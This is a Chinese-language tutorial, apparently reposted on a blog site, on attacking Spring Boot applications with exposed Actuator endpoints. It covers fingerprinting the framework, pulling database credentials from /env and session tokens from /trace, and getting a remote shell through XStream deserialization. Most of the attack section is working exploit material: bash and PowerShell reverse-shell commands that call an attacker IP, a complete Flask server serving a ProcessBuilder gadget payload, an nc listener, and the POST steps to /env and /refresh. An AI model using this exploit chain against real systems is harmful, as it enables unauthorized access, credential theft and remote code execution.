Springboot未授權訪問


Actuator簡介

Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模塊,借助於 Actuator 開發者可以很方便地對應用系統某些監控指標進行查看、統計等。在 Actuator 啟用的情況下,如果沒有做好相關權限控制,非法用戶可通過訪問默認的執行器端點(endpoints)來獲取應用系統中的監控信息。

如上所言,actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模塊。其提供的執行器端點分為兩類:原生端點和用戶自定義擴展端點,原生端點主要有:

springboot框架站點識別

  • 通過 web 應用程序網頁標簽的圖標(favicon.ico)

如果 web 應用開發者沒有修改 springboot web 應用的默認圖標,那么進入應用首頁后可以看到如下默認的綠色小圖標:

訪問:http://10.1.1.137:8090,可以看到小綠葉圖標,說明web應用使用的框架為springboot框架。

  • 通過 springboot 框架默認報錯頁面

如果 web 應用開發者沒有修改 springboot web 應用的默認 4xx、5xx 報錯頁面,那么當 web 應用程序出現 4xx、5xx 錯誤時,會報錯如下(此處僅以 404 報錯頁面為例):

訪問一個隨便構造的路徑,比如:http://10.1.1.137:8090/index,出現如下報錯頁面說明web網站使用了springboot框架。

獲取執行器端點路徑

通過枚舉的方式

在確認當前 web 站點是 springboot 框架后,枚舉當前站點的所有一級、二級甚至三級目錄,然后對每個目錄進行探測,查看目錄下是否存在 actuator 執行端點路徑即可

漏洞利用

目標站點 http://10.1.1.137:8090/

數據庫賬戶密碼泄露

由於 actuator 會監控站點 mysql、mangodb 之類的數據庫服務,所以通過監控信息有時可以拿下 mysql、mangodb 數據庫;這個主要通過/env 路徑獲取這些服務的配置信息,比如如下站點存在 actuator 配置不當漏洞,通過其/env 路徑,可獲得 mysql、mangodb 的用戶名及密碼(這里由於環境原因沒有配置明文,實際的生產環境會存在明文密碼的現象)。

查看http歷史消息

這個主要通過訪問/trace 路徑,比如如下站點存在 actuator 配置不當漏洞,在其 trace 路徑下,除了記錄有基本的 HTTP 請求信息(時間戳、HTTP 頭等),實際環境中還會存在有用戶 token、cookie 字段

trace 下可以看到我們之前訪問的記錄

利用反序列化進行getshell

通過修改env配置文件進行xstream反序列化

前置條件:Eureka-Client <1.8.7(多見於Spring Cloud Netflix)

需要以下兩個包(環境已安裝)

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依賴)

exp

# linux反彈shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# windows反彈shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/xstream', defaults={'path': ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                    <string>powershell</string>
                    <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
                      <string>powercat -c [vps地址] -p 2333 -e cmd</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2333)

exp配置 這里我們攻擊機IP 10.1.1.135

前面的箭頭為接收反彈shell的ip和端口,后面的端口為我們啟動這個腳本而啟動的端口

利用python3啟動exploit.py腳本

另一個shell里nc 監聽1234端口

nc -lvvp 1234


寫入配置

訪問http://10.1.1.137:8090/env然后利用burpsuite抓包

將get請求改為post請求

Post數據為 eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream (IP 為本機IP,或者vpsIP)

然后再訪問:http://10.1.1.137:8090/refresh抓包

將get請求更改為post請求

如下

然后反彈一個shell回來


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM